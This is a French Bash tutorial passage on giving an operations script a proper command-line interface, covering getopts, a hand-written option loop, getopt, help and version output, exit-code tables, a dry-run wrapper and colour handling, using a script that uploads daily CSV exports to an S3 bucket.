Aller au contenu
Arguments, options et interface

Arguments, options et interface

À la fin, vous saurez

  • Lire les paramètres positionnels d'un script et les consommer avec shift sans perdre d'argument
  • Analyser des options courtes avec getopts, en mode silencieux, et expliquer le rôle d'OPTIND
  • Écrire une boucle d'analyse qui accepte options courtes et longues, --opt=valeur, options groupées et --
  • Choisir entre getopts, une boucle écrite à la main et getopt d'util-linux selon des critères explicites
  • Rédiger une aide, une option --version et une table de codes de sortie qui forment le contrat du script
  • Séparer données et messages entre sortie standard et sortie d'erreur, et n'afficher des couleurs que vers un terminal
  • Fusionner valeurs par défaut, fichier de configuration, environnement et options dans un ordre de priorité documenté, sans exécuter le fichier de configuration
  • Ajouter une simulation (--dry-run) et une confirmation qui refuse par défaut quand personne ne peut répondre

Prérequis

Testé avec bash 5.2.21 (Ubuntu 24.04), 5.2.37 (Debian 13) systemd 255 (Ubuntu), 257 (Debian) util-linux 2.39.3 (Ubuntu 24.04), 2.41.5 (Debian 13) , vérifié le 8 octobre 2026

Pourquoi

Le publier-export laissé par Camille commence ainsi :

#!/bin/bash
JOUR=${1:-$(date +%F)}
DEST=${2:-s3://sig-exports-mairie}
[ "$3" = "oui" ] && SIMULATION=1

Trois paramètres positionnels, dont personne ne se rappelle l'ordre. Un mardi, la mairie demande de renvoyer l'export du 3 octobre vers son bucket de recette. Une collègue tape publier-export s3://sig-exports-recette 2026-10-03 : le bucket devient la date, la date devient la destination, le script cherche signalements-s3://sig-exports-recette.csv, écrit « fichier introuvable » sur la sortie standard et se termine avec le code 0. Le minuteur systemd qui lance le même script chaque nuit aurait vu, lui aussi, un succès. Le lendemain, quelqu'un essaie publier-export --help : le script prend --help pour une date. Pour simuler, il faut passer le mot oui en troisième position, donc répéter les deux premiers.

Rien de tout cela n'est un bogue de logique : l'export, la compression et le dépôt fonctionnent. Ce qui manque, c'est une interface. Un script d'exploitation est utilisé par au moins trois publics qui n'ont pas lu son code : la personne d'astreinte qui le relance à 3 h du matin, l'unité systemd qui le déclenche et lit son code de sortie, et la chaîne d'intégration continue qui le teste (leçon 12). Pour eux, le script est son interface : les options qu'il accepte, l'aide qu'il affiche, ce qu'il écrit sur chaque flux, et le nombre qu'il renvoie en se terminant.

Cette leçon donne à publier-export l'interface fixée dans le dépôt signalements-outils :

publier-export [-n|--dry-run] [-d|--date AAAA-MM-JJ] [-v|--verbeux]
               [--destination s3://...] [-h|--help] [--version]

avec des codes de sortie documentés, une aide qui répond à -h comme à --help, un fichier de configuration, et une simulation qui affiche exactement ce qui serait fait.

Les concepts

Arguments, options, opérandes

Quand le shell lance un programme, il lui transmet une liste de chaînes : les arguments. Le programme ne reçoit rien d'autre, ni guillemets, ni espaces, ni notion d'option : c'est à lui d'interpréter cette liste. La norme POSIX, dans son chapitre 12 (Utility Conventions), donne un vocabulaire que l'on reprend :

  • une option est un argument qui commence par un tiret suivi d'un seul caractère alphanumérique, comme -n ; on parlait historiquement de flag ;
  • un argument d'option (option-argument) est la valeur associée à une option, comme 2026-10-07 dans -d 2026-10-07 ;
  • un opérande (operand) est un argument qui suit les options et leurs valeurs : les noms de fichiers de cp, l'expression de grep.

Les Utility Syntax Guidelines de POSIX (section 12.2) fixent des règles que la plupart des outils Unix respectent et que vos utilisateurs supposent, souvent sans le savoir :

  • plusieurs options sans valeur peuvent être groupées derrière un seul tiret : -nv vaut -n -v (règle 5) ;
  • les options précèdent les opérandes (règle 9) ;
  • le premier -- qui n'est pas la valeur d'une option termine les options : tout ce qui suit est un opérande, même s'il commence par un tiret (règle 10) ;
  • un argument d'option ne devrait pas être facultatif (règle 7) ;
  • un - isolé, comme opérande, désigne en général l'entrée ou la sortie standard (règle 13).

Les options longues (--dry-run, --date=2026-10-07) ne viennent pas de POSIX mais du projet GNU. Elles se sont imposées parce qu'elles se lisent sans manuel, ce qui compte dans une unité systemd ou un runbook que l'on relira dans deux ans. Les conventions GNU acceptent la valeur dans l'argument suivant (--date 2026-10-07) ou après un signe égal (--date=2026-10-07).

Les paramètres positionnels

Dans un script Bash, les arguments arrivent dans les paramètres positionnels (positional parameters) : $1, $2, etc. À côté d'eux, quelques paramètres spéciaux :

ParamètreContenu
$0le nom sous lequel le script a été lancé (souvent un chemin : ./bin/publier-export, /opt/signalements/bin/publier-export)
$1 à $9les neuf premiers arguments
${10}, ${11}...les suivants : les accolades sont obligatoires au-delà de 9
$#le nombre d'arguments, sans compter $0
"$@"tous les arguments, chacun restant un mot séparé (leçon 2)
"$*"tous les arguments collés en une seule chaîne, séparés par le premier caractère d'IFS

Deux commandes internes modifient cette liste :

  • shift retire le premier argument et décale les autres : $2 devient $1, et $# diminue de 1. shift 2 en retire deux ;
  • set -- a b c remplace toute la liste par a, b, c. set -- seul la vide.

Ces deux commandes sont le cœur de toute analyse d'options : on regarde $1, on le traite, on le retire, et l'on recommence tant que $# est positif.

Les paramètres positionnels sont propres à chaque fonction : dans une fonction, $1 désigne le premier argument de la fonction, pas celui du script (leçon 6). Seul $0 ne change pas. C'est pourquoi l'analyse des options se fait au niveau du script, ou dans une fonction à qui l'on passe explicitement "$@".

Le contrat d'un outil en ligne de commande

Un script d'exploitation a des entrées et des sorties bien délimitées, et c'est leur ensemble qui forme son contrat :

           arguments ──┐                ┌──> sortie standard (1) : les données, le résultat
 variables d'environn. ─┤                │
 fichier de configur.  ─┼──> [ script ] ─┼──> sortie d'erreur (2) : messages, progression, erreurs
      entrée standard  ─┘                │
                                         └──> code de sortie : 0 succès, autre chose échec

Chaque flèche a sa règle. Les flux standard ont été vus dans la leçon 6 de Premiers pas : la sortie standard porte les données, ce qu'un autre programme pourrait vouloir lire par un tube ; la sortie d'erreur porte tout ce qui s'adresse à un humain (progression, avertissements, erreurs). Le guide Command Line Interface Guidelines (clig.dev) le résume : les données sur stdout pour que les tubes fonctionnent, les messages sur stderr pour qu'ils atteignent la personne et non la commande suivante. Sous systemd, les deux flux finissent dans le journal ; dans un terminal, les deux s'affichent ; mais dès qu'on redirige ou qu'on enchaîne, la distinction devient décisive.

Le code de sortie est la seule partie du contrat que lisent les machines : systemd pour décider si le service a échoué et déclencher OnFailure=, la CI pour arrêter un pipeline, un autre script pour enchaîner par &&.

Les codes de sortie : des conventions, pas une norme

Un code de sortie est un entier de 0 à 255. Le manuel de Bash rappelle la seule règle universelle : 0 signifie le succès, toute autre valeur un échec. Pour le reste, il existe plusieurs conventions qu'il faut connaître pour ne pas les heurter :

CodeOrigineSens
0universelsuccès
1usage courantéchec général
2Bash, GNUmauvaise utilisation : le manuel de Bash précise que toutes les commandes internes renvoient 2 en cas d'usage incorrect (option invalide, argument manquant) ; grep, ls, diff font de même
64 à 78sysexits.h (BSD)codes nommés : EX_USAGE (64), EX_DATAERR (65), EX_NOINPUT (66), EX_UNAVAILABLE (69), EX_SOFTWARE (70), EX_TEMPFAIL (75), EX_NOPERM (77), EX_CONFIG (78)...
126shellla commande existe mais n'est pas exécutable
127shellcommande introuvable
128 + Nshellla commande a été tuée par le signal N (130 : Ctrl+C ; 143 : SIGTERM)

Les codes de sysexits.h viennent de 4.0BSD et du programme de distribution de courrier qui deviendra sendmail. Ils sont utilisés par Postfix, par quelques outils système, et systemd les connaît par leur nom. La page de manuel admet elle-même que le choix d'un code est « souvent ambigu ». Ce n'est pas une norme qu'il faudrait suivre, mais une réserve de valeurs qu'il vaut mieux ne pas détourner : n'utilisez pas 64 pour dire autre chose qu'une erreur d'usage.

Pour les scripts de signalements-outils, l'équipe a choisi une table courte, alignée sur l'usage de Bash et de GNU (2 pour l'usage), et qui distingue les échecs auxquels l'astreinte ne réagit pas de la même façon :

CodeSens pour publier-exportRéaction attendue
0succèsrien
1erreur générale (imprévue)lire le journal
2mauvaise utilisation : option inconnue, valeur invalidecorriger l'appel (unité systemd, commande tapée)
3export introuvable ou invalideregarder l'export Python de la nuit, pas ce script
4échec du dépôt dans le bucketObject Storage, réseau, clés d'accès
5une autre exécution est en cours (leçon 10)souvent rien : attendre

Évitez les valeurs au-dessus de 125, réservées par le shell, et rappelez-vous que le code est pris modulo 256 : exit 256 renvoie 0, un succès.

D'où vient une valeur : l'ordre de priorité

Une même valeur, la destination du dépôt par exemple, peut venir de quatre endroits. L'ordre retenu par presque tous les outils, et rappelé par clig.dev, va du plus général au plus particulier :

  1. la valeur par défaut, écrite dans le script ;
  2. le fichier de configuration de la machine (/etc/signalements/publier-export.conf) ;
  3. une variable d'environnement (PUBLIER_EXPORT_DESTINATION) ;
  4. une option sur la ligne de commande (--destination).

Chaque niveau remplace le précédent. La logique : plus une valeur est proche de l'appel, plus elle exprime une intention précise. L'option tapée à la main pour un essai doit l'emporter sur le fichier, qui doit l'emporter sur la valeur codée en dur. Dans le script, cela se traduit simplement par l'ordre des affectations : défauts, puis lecture du fichier, puis environnement, puis analyse des options.

En pratique

Les essais de cette section ont été faits avec Bash 5.2.21, dans un répertoire de travail, avec une copie du dépôt signalements-outils et un faux répertoire d'exports. Les messages de Bash et de getopt sont montrés en anglais (LC_ALL=C), comme sur un serveur dont la locale n'est pas réglée. Comme depuis la leçon 6, HORODATER=0 est exporté dans le shell d'essai : les messages de lib/commun.sh apparaissent sans horodatage.

Observer ce que reçoit un script

Avant d'analyser des arguments, il faut voir exactement ce qui arrive. L'outil montrer-args de la leçon 2 l'affiche, un argument par ligne entre chevrons :

$ montrer-args -n --date 2026-10-07 'essai mairie'
4 argument(s)
<-n>
<--date>
<2026-10-07>
<essai mairie>

Quatre arguments : l'option -n, l'option --date, sa valeur, et un opérande qui contient une espace, préservé grâce aux guillemets de l'appel. Le script ne sait pas que 2026-10-07 « appartient » à --date : c'est la boucle d'analyse qui en décidera.

Au-delà de neuf arguments, les accolades sont indispensables :

$ bash -c 'set -- a b c d e f g h i j k; echo "$10 / ${10} / ${11} / ${!#}"'
a0 / j / k / k

$10 est lu comme $1 suivi du caractère 0 : a0. ${10} est bien le dixième. ${!#} est une forme indirecte qui donne le dernier argument : $# vaut 11, et ${!#} lit la variable nommée 11.

shift, set -- et le compte des arguments

$ bash -c 'set -- a b; shift 3 || echo "shift a échoué"; echo "il reste $#"'
shift a échoué
il reste 2

Le manuel de Bash le précise : si le nombre demandé dépasse $#, shift ne modifie rien et renvoie un code non nul. Sans message, par défaut ; l'option shopt -s shift_verbose en ajoute un (shift: 3: shift count out of range). Une boucle d'analyse qui fait shift 2 après une option dont la valeur manque ne retire donc pas l'option, et peut tourner indéfiniment sur le même argument. La parade est de vérifier $# avant de lire la valeur, ce que fera la fonction exiger_valeur plus bas.

getopts : l'analyseur intégré

getopts est une commande interne, définie par POSIX, présente dans Bash comme dans dash. Elle traite une option par appel et s'utilise dans une boucle while. Voici une première version pour publier-export, options courtes seulement :

simulation=0 VERBEUX=0 date_export=$(date +%F)

while getopts ':nvd:h' option; do
  case $option in
    n)  simulation=1 ;;
    v)  VERBEUX=1 ;;
    d)  date_export=$OPTARG ;;
    h)  usage; exit 0 ;;
    :)  erreur_usage "l'option -$OPTARG attend une valeur" ;;
    \?) erreur_usage "option inconnue : -$OPTARG" ;;
  esac
done
shift "$((OPTIND - 1))"

La chaîne ':nvd:h' est la spécification des options :

  • chaque lettre est une option acceptée ;
  • une lettre suivie de : attend une valeur : ici d, dont la valeur arrivera dans OPTARG ;
  • le : initial active le mode silencieux.

À chaque appel, getopts range la lettre trouvée dans la variable option et l'indice du prochain argument à examiner dans OPTIND. Quand il n'y a plus d'option, il renvoie un code non nul et la boucle s'arrête. Le shift "$((OPTIND - 1))" final retire alors toutes les options traitées, y compris un éventuel -- : il ne reste dans "$@" que les opérandes.

Le mode silencieux change la façon dont les erreurs sont signalées. D'après le manuel de Bash et la norme POSIX :

SituationMode normal ('nvd:h')Mode silencieux (':nvd:h')
option inconnue -xoption vaut ?, OPTARG est supprimée, message de getopts sur stderroption vaut ?, OPTARG vaut x, aucun message
valeur manquante (-d en dernier)option vaut ?, OPTARG supprimée, messageoption vaut :, OPTARG vaut d, aucun message

En mode normal, les messages viennent de Bash et ne ressemblent pas à ceux de votre script :

$ LC_ALL=C bash -c 'while getopts "d:" o; do :; done' publier-export -x -d
publier-export: illegal option -- x
publier-export: option requires an argument -- d

Le mode silencieux est presque toujours préférable : vous écrivez vous-même le message, en français, avec le renvoi vers --help, et vous distinguez les deux cas. Le \? du case est échappé parce que ? seul est un motif qui correspond à n'importe quel caractère : sans la barre oblique, cette branche attraperait toutes les options.

Le -v positionne VERBEUX, la variable que lit deboguer dans lib/commun.sh (leçon 6) : pas besoin d'une seconde variable. Essayons plusieurs appels, avec une ligne de contrôle provisoire en fin de script, qui affiche les trois variables puis les opérandes restants entre chevrons (erreur_usage y est réduite à un message, sans sortie, pour voir la suite) :

$ ./publier-export -nv -d 2026-10-07 reste
simulation=1 VERBEUX=1 date=2026-10-07, opérandes : <reste>
$ ./publier-export -nd2026-10-07
simulation=1 VERBEUX=0 date=2026-10-07, opérandes :
$ ./publier-export reste -n
simulation=0 VERBEUX=0 date=2026-10-08, opérandes : <reste> <-n>
$ ./publier-export -n -- -v
simulation=1 VERBEUX=0 date=2026-10-08, opérandes : <-v>
$ ./publier-export -d -n
simulation=0 VERBEUX=0 date=-n, opérandes :

Ce que montrent ces essais :

  • -nv est bien découpé, et -nd2026-10-07 aussi : la valeur peut être collée à sa lettre, comme le prévoit POSIX ;
  • dans reste -n, l'option qui suit un opérande n'est pas analysée : getopts s'arrête au premier argument qui ne commence pas par un tiret (règle 9 de POSIX) ;
  • après --, -v est un opérande ;
  • dans -d -n, -n est pris comme valeur de -d : getopts ne vérifie pas que la valeur « ressemble » à une valeur. La validation de la date, plus bas, rattrapera ce cas.

Ce que getopts ne sait pas faire

getopts n'accepte que des options d'une lettre. Le piège est qu'il ne refuse pas pour autant une option longue : il la découpe.

$ ./publier-export --date=2026-10-07
publier-export : option inconnue : --
simulation=0 VERBEUX=0 date=ate=2026-10-07, opérandes :

--date=2026-10-07 commence par -, donc getopts le lit comme un groupe d'options courtes : - (inconnue), puis d, dont la valeur est le reste de l'argument, ate=2026-10-07. Avec un erreur_usage qui sort du script, on s'arrête à la première erreur ; avec un simple avertissement, le script continuerait avec une date absurde.

Autres limites, relevées par la FAQ Bash de Greg Wooledge (BashFAQ/035) : pas de valeur facultative, et chaque option doit être déclarée à trois endroits (la spécification, le case, l'aide). Enfin, OPTIND n'est jamais remis à 1 automatiquement dans un même shell, comme le rappelle le manuel : une fonction qui utilise getopts et que l'on appelle deux fois ne voit rien au second appel.

$ cat essai.sh
f() { while getopts 'a' o; do echo "f a vu -$o"; done; }
f -a; f -a; echo "fin, OPTIND=$OPTIND"
$ bash essai.sh
f a vu -a
fin, OPTIND=2

La parade est de déclarer local OPTIND=1 dans la fonction (leçon 6).

getopts reste le bon choix pour un petit script portable, lancé par /bin/sh, qui n'a besoin que d'options courtes. Pour un outil d'équipe, on veut aussi des options longues.

Une boucle écrite à la main

La méthode que recommande BashFAQ/035, et que suivent la plupart des scripts sérieux, est une boucle while sur $# avec un case sur $1. Elle est entièrement sous votre contrôle. Voici celle de publier-export, construite pièce par pièce.

exiger_valeur() {
  (( $2 >= 2 )) || erreur_usage "l'option $1 attend une valeur"
}

while (( $# > 0 )); do
  case $1 in
    -h|--help)        usage; exit "$EX_OK" ;;
    --version)        printf '%s %s\n' "$NOM_OUTIL" "$VERSION"; exit "$EX_OK" ;;
    -n|--dry-run)     simulation=1 ;;
    -v|--verbeux)     VERBEUX=1 ;;
    -d|--date)        exiger_valeur "$1" "$#"; date_export=$2; shift ;;
    --date=*)         date_export=${1#*=} ;;
    -d?*)             date_export=${1#-d} ;;
    --destination)    exiger_valeur "$1" "$#"; destination=$2; shift ;;
    --destination=*)  destination=${1#*=} ;;
    -[nvh]?*)         set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
    --)               shift; break ;;
    -?*)              erreur_usage "option inconnue : $1" ;;
    *)                break ;;
  esac
  shift
done

(( $# == 0 )) || erreur_usage "argument inattendu : $1"

Branche par branche :

  • -n|--dry-run : la forme courte et la forme longue sont des alternatives du même motif. Une option sans valeur ne fait qu'affecter une variable ; le shift en bas de boucle la retire.
  • -d|--date : l'option attend sa valeur dans l'argument suivant. exiger_valeur "$1" "$#" vérifie qu'il en reste au moins deux (l'option et sa valeur) avant de lire $2 ; le shift de la branche retire la valeur, celui du bas retire l'option. On passe $# à la fonction parce que, dans une fonction, $# serait celui de la fonction.
  • --date=* : la valeur est dans le même argument. ${1#*=} retire le plus court préfixe qui se termine par = (leçon 3) : --date=2026-10-07 donne 2026-10-07. Une valeur qui contient elle-même un = est préservée, puisque seul le premier est retiré.
  • -d?* : la forme collée POSIX, -d2026-10-07. Le motif ?* exige au moins un caractère après -d.
  • -[nvh]?* : les options courtes groupées. -nv est réécrit en -n -v : ${1:0:2} donne -n, "-${1:2}" donne -v, "${@:2}" le reste des arguments. Le continue relance la boucle sans shift, pour traiter les morceaux. Seules les lettres sans valeur figurent dans la classe ; -nd2026-10-07 devient -n puis -d2026-10-07, que la branche précédente reconnaît. Cette branche doit venir après -d?*, puisqu'un case s'arrête au premier motif qui correspond.
  • -- : fin des options. On le retire et l'on sort de la boucle.
  • -?* : tout autre argument qui commence par un tiret suivi d'au moins un caractère est une option inconnue. Erreur d'usage, code 2.
  • * : le premier opérande. On sort de la boucle sans le retirer. publier-export n'accepte aucun opérande : la ligne qui suit la boucle le refuse. Le - isolé tombe dans cette branche, puisque -?* exige un caractère après le tiret.

Le résultat, sur les mêmes appels que tout à l'heure :

$ ./bin/publier-export -nv --date 2026-10-07
publier-export : débogage : date 2026-10-07, destination s3://sig-exports-mairie, simulation 1
...
$ ./bin/publier-export --date
publier-export : l'option --date attend une valeur
Essayez « publier-export --help » pour plus d'informations.
$ echo $?
2
$ ./bin/publier-export -nv
...
$ ./bin/publier-export s3://sig-exports-recette
publier-export : argument inattendu : s3://sig-exports-recette
Essayez « publier-export --help » pour plus d'informations.

L'appel de la collègue, qui avait produit un faux succès avec le script de Camille, échoue maintenant immédiatement, avec le code 2 et un message qui dit quoi faire.

Cette boucle traite les options où qu'elles soient avant le premier opérande, dans n'importe quel ordre, et une même option peut être répétée : la dernière valeur gagne, ce que la règle 11 de POSIX autorise. Si vous voulez accepter des options après les opérandes, à la manière des outils GNU, remplacez le *) break par une accumulation des opérandes dans un tableau (operandes+=("$1"), leçon 7) et continuez la boucle.

Valider les valeurs, pas seulement les options

Une option reconnue peut porter une valeur absurde. On valide juste après la boucle, avant toute action :

[[ $date_export =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] \
  || erreur_usage "date invalide : « $date_export » (attendu : AAAA-MM-JJ)"
date -d "$date_export" +%F > /dev/null 2>&1 \
  || erreur_usage "date inexistante : $date_export"
[[ $destination =~ ^s3://[a-z0-9][a-z0-9.-]*(/.*)?$ ]] \
  || erreur_usage "destination invalide : « $destination » (attendu : s3://bucket/...)"
destination=${destination%/}
$ ./bin/publier-export --date=2026-02-30
publier-export : date inexistante : 2026-02-30
Essayez « publier-export --help » pour plus d'informations.
$ ./bin/publier-export -d -n
publier-export : date invalide : « -n » (attendu : AAAA-MM-JJ)
Essayez « publier-export --help » pour plus d'informations.

L'expression régulière vérifie la forme (leçon 4), date -d de GNU coreutils vérifie que le jour existe : il refuse le 30 février. Le ${destination%/} retire une éventuelle barre oblique finale, pour que s3://bucket/ et s3://bucket produisent la même clé. Une erreur de valeur est une erreur d'usage : code 2. L'absence du fichier d'export, elle, n'est pas une faute de l'appelant : ce sera le code 3.

getopt d'util-linux : à connaître

Il existe aussi une commande externe, getopt (sans s), fournie par util-linux. À ne pas confondre avec la commande interne. Sa version Linux, dite « améliorée », gère options courtes et longues, et produit une liste d'arguments réordonnée et citée pour le shell :

$ cat analyse.sh
args=$(getopt -o nd:vh -l dry-run,date:,verbeux,help,version,destination: \
              -n publier-export -- "$@") || exit 2
echo "getopt a produit : $args"
eval set -- "$args"
printf '<%s>' "$@"; echo
$ bash analyse.sh -nv --date=2026-10-07 'mon fichier' --dest s3://x
getopt a produit :  -n -v --date '2026-10-07' --destination 's3://x' -- 'mon fichier'
<-n><-v><--date><2026-10-07><--destination><s3://x><--><mon fichier>

getopt a fait trois choses : découpé -nv, normalisé --date=... en deux arguments, et déplacé l'opérande mon fichier après un -- qu'il a ajouté. Il a aussi accepté --dest, une abréviation non ambiguë de --destination, comme le fait getopt_long(3) de la glibc. La boucle while/case qui suit n'a plus qu'à traiter la forme normalisée.

La page getopt(1) explique pourquoi eval est nécessaire : la sortie est citée pour préserver espaces et caractères spéciaux, et doit donc être interprétée à nouveau par le shell. C'est l'un des rares usages légitimes d'eval, à condition de ne jamais l'appliquer à autre chose que la sortie de getopt.

Pourquoi ne pas l'adopter partout ?

  • La portabilité : les versions BSD et macOS de getopt sont « traditionnelles », sans options longues ni citation ; un nom de fichier avec une espace y est découpé. getopt -T permet de tester : il renvoie le code 4 avec la version améliorée.
  • Les abréviations : accepter --dest aujourd'hui, c'est casser les appels le jour où vous ajoutez une option --destination-recette.
  • La dépendance à eval et à un outil externe, là où une boucle de quinze lignes suffit.

BashFAQ/035 va jusqu'à conseiller de ne pas l'utiliser. La position de l'équipe est plus nuancée : on le lit sans surprise dans les scripts des autres, on écrit la boucle à la main dans les nôtres.

BesoinChoix
script #!/bin/sh, options courtesgetopts
outil d'équipe en Bash, options longuesboucle while/case
reprendre un script qui utilise déjà getopt sous Linuxle garder, vérifier getopt -T et l'eval set --
sous-commandes, options imbriquées, aide généréechanger de langage (Python et argparse, leçon 12)

L'aide, l'usage et la version

L'aide est la documentation que l'on a toujours sous la main, sur le serveur, à 3 h du matin. On l'écrit dans un here-document (leçon 6 de Premiers pas) ; le délimiteur sans apostrophes laisse développer $NOM_OUTIL et les valeurs par défaut :

usage() {
  cat <<FIN
Usage : $NOM_OUTIL [OPTIONS]

Dépose l'export CSV d'une journée dans le bucket de la mairie,
avec son empreinte SHA-256.

Options :
  -d, --date AAAA-MM-JJ     journée à publier (défaut : aujourd'hui)
      --destination URL     préfixe S3 (défaut : $destination)
  -n, --dry-run             afficher les commandes, sans rien modifier
  -v, --verbeux             messages détaillés sur la sortie d'erreur
  -h, --help                afficher cette aide et sortir
      --version             afficher la version et sortir

Configuration : $CONFIGURATION (CLE=valeur : DESTINATION)
Environnement : PUBLIER_EXPORT_DESTINATION remplace la configuration.

Codes de sortie :
  0 succès                          3 export introuvable ou invalide
  1 erreur générale                 4 échec du dépôt
  2 mauvaise utilisation            5 une autre exécution est en cours

Exemple :
  $NOM_OUTIL --date 2026-10-07 --dry-run
FIN
}

Les choix qu'elle reflète :

  • -h et --help affichent l'aide sur la sortie standard et sortent avec 0. L'aide est alors le résultat demandé : on doit pouvoir la paginer (publier-export --help | less) ou la chercher (| grep date). Comme $destination est affichée, usage doit être appelée après la lecture de la configuration : l'aide montre alors la valeur réellement en vigueur.
  • Une erreur d'usage n'affiche pas toute l'aide. Elle écrit une ligne d'explication et un renvoi vers --help sur la sortie d'erreur, et sort avec 2. Noyer l'erreur sous quarante lignes d'aide la rend invisible.
  • Un exemple au moins, comme le recommande clig.dev : c'est souvent la seule partie de l'aide que l'on lit.
  • Les codes de sortie et les sources de configuration sont dans l'aide. Ce sont des parties du contrat ; qui écrit l'unité systemd ou l'alerte en a besoin.
erreur_usage() {
  printf '%s : %s\n' "$NOM_OUTIL" "$*" >&2
  printf "Essayez « %s --help » pour plus d'informations.\n" "$NOM_OUTIL" >&2
  exit "$EX_USAGE"
}

NOM_OUTIL vient de lib/commun.sh (leçon 6) : ${0##*/} retire le chemin de $0 (leçon 3), si bien que les messages commencent par publier-export :, que le script ait été lancé par ./bin/publier-export ou par son chemin absolu. Les outils GNU écrivent grep: ; nos scripts gardent l'espace de la typographie française, comme tous les messages de la bibliothèque. L'essentiel est que le nom du programme vienne en tête : on sait quel outil parle quand plusieurs écrivent dans le même journal. erreur_usage n'utilise pas journaliser : une erreur d'usage s'adresse à la personne qui vient de taper la commande, l'horodatage n'y apporterait rien.

--version affiche une ligne, publier-export 1.2.0, sur la sortie standard. Elle sert lors d'un incident (« quelle version tourne sur sig-outils ? ») et dans les tests. On ne lui attribue pas -v, déjà pris par --verbeux : clig.dev signale cette ambiguïté classique de -v, qui veut dire « verbeux » pour certains outils et « version » pour d'autres.

Données sur la sortie standard, messages sur la sortie d'erreur

Les messages passent par la bibliothèque lib/commun.sh de la leçon 6, dont toutes les fonctions écrivent sur la sortie d'erreur, préfixées du nom du programme. Deux de ses choix servent directement l'interface :

  • deboguer n'écrit que si VERBEUX vaut 1, ce que fait l'option -v. Les messages ordinaires restent rares : un script qui bavarde à chaque exécution noie ses vrais avertissements dans le journal. VERBEUX=1 publier-export fonctionne aussi, puisque deboguer lit la variable sans se soucier de qui l'a posée ;
  • mourir accepte un code de sortie avec -c : mourir -c "$EX_EXPORT" "export invalide, rien n'est publié". Sans -c, il sort avec 1.

Il manquait la table des codes elle-même. publier-export la déclare une fois pour toutes, en constantes en lecture seule :

readonly EX_OK=0 EX_ERREUR=1 EX_USAGE=2 EX_EXPORT=3 EX_DEPOT=4 EX_VERROU=5

Que met-on sur la sortie standard ? Pour publier-export, en fonctionnement normal, rien : le résultat est un dépôt dans un bucket, pas une donnée à transmettre. La ligne finale « export publié » est un message, elle va sur stderr. En simulation, en revanche, le résultat demandé est la liste des commandes qui seraient exécutées : elle va sur stdout, et l'on peut la rediriger dans un fichier pour la relire ou la comparer.

$ ./bin/publier-export -n --date 2026-10-07 > plan.txt
publier-export : simulation : rien n'a été modifié
$ cat plan.txt
gzip --keep --force -- /srv/donnees/exports/signalements-2026-10-07.csv
ecrire_empreinte /srv/donnees/exports/signalements-2026-10-07.csv.gz
aws s3 cp --only-show-errors --endpoint-url https://s3.fr-par.scw.cloud /srv/donnees/exports/signalements-2026-10-07.csv.gz s3://sig-exports-mairie/2026/10/
aws s3 cp --only-show-errors --endpoint-url https://s3.fr-par.scw.cloud /srv/donnees/exports/signalements-2026-10-07.csv.gz.sha256 s3://sig-exports-mairie/2026/10/

La simulation : une seule fonction pour exécuter

Une simulation (dry run, « répétition à sec ») fiable ne duplique pas la logique (« si simulation, afficher ceci, sinon faire cela ») à chaque étape : les deux branches finiraient par diverger. On fait passer toutes les actions qui modifient quelque chose par une seule fonction :

executer() {
  if (( simulation )); then
    printf '%q ' "$@"
    printf '\n'
  else
    deboguer "exécution : $*"
    "$@"
  fi
}

En simulation, printf '%q ' affiche chaque argument cité de façon à pouvoir être recollé dans un shell (leçon 2) ; en exécution réelle, "$@" lance la commande avec ses arguments intacts. La commande aws est construite dans un tableau, comme à la leçon 7, et les fonctions compresser et deposer de la leçon 6 passent désormais par executer :

# ecrire_empreinte ARCHIVE : écrit ARCHIVE.sha256, avec le seul nom du fichier.
ecrire_empreinte() {
  (cd -- "${1%/*}" && sha256sum -- "${1##*/}" > "${1##*/}.sha256")
}

compresser() {
  executer gzip --keep --force -- "$1" &&
    executer ecrire_empreinte "$1.gz"
}

deposer() {
  local fichier
  for fichier in "$csv.gz" "$csv.gz.sha256"; do
    executer "${aws_s3[@]}" "$fichier" "$destination/$annee/$mois/" || return 1
  done
}

Trois remarques :

  • la compression modifie le répertoire des exports (elle y crée deux fichiers) : c'est une action, elle passe donc par executer, et la simulation ne laisse aucune trace sur le disque ;
  • executer lance "$@", qui peut être une fonction aussi bien qu'une commande : la redirection de sha256sum vers un fichier ne passerait pas telle quelle dans une liste d'arguments, on l'enferme donc dans ecrire_empreinte. En simulation, la ligne affichée porte le nom de la fonction, ce qui reste lisible ;
  • une destination avec une espace (--destination 's3://sig-exports-recette/essai mairie/') s'affiche s3://sig-exports-recette/essai\ mairie/2026/10/ : la sortie de la simulation est exactement ce que l'on taperait.

Les lectures, elles, s'exécutent aussi en simulation : la validation de la date, celle du CSV (existence, en-tête, nombre de lignes), la présence des commandes nécessaires. Sinon la simulation ne vérifierait rien, et un --dry-run réussi ne prouverait pas que la vraie exécution passera.

Couleurs : seulement pour un humain, et seulement s'il en veut

Une erreur en rouge se repère mieux dans un terminal. Dans le journal de systemd, dans un fichier ou dans les traces de la CI, les séquences d'échappement ANSI deviennent du bruit (^[[31m). On n'en émet donc que si trois conditions sont réunies :

if [[ -t 2 && -z ${NO_COLOR:-} && ${TERM:-dumb} != dumb ]]; then
  ROUGE=$'\e[31m' JAUNE=$'\e[33m' NORMAL=$'\e[0m'
else
  ROUGE='' JAUNE='' NORMAL=''
fi
  • [[ -t 2 ]] : le descripteur 2, celui où vont les messages, est un terminal. On teste le flux sur lequel on écrit : clig.dev rappelle que sortie standard et sortie d'erreur peuvent être redirigées indépendamment ;
  • NO_COLOR est vide ou absente : la convention publiée sur no-color.org demande qu'un logiciel n'ajoute pas de couleur ANSI quand cette variable est « présente et non vide, quelle que soit sa valeur » (NO_COLOR=0 désactive donc aussi les couleurs) ;
  • TERM n'est pas dumb, valeur que posent certains environnements (Emacs, quelques outils de CI) pour signaler un terminal sans capacités.

Si vous les adoptez, c'est journaliser, dans lib/commun.sh, qui les place autour des mots « erreur » et « attention » : tous les scripts en profitent d'un coup. En pratique, pour des scripts d'exploitation qui tournent surtout sous systemd, beaucoup d'équipes s'en passent ; si vous en mettez, mettez-les ainsi.

Le fichier de configuration, sans l'exécuter

La destination varie selon la machine (bucket de recette sur une machine de préproduction) : elle a sa place dans un fichier, /etc/signalements/publier-export.conf. Le format le plus simple est une suite de lignes CLE=valeur, avec des commentaires :

# /etc/signalements/publier-export.conf
DESTINATION=s3://sig-exports-mairie

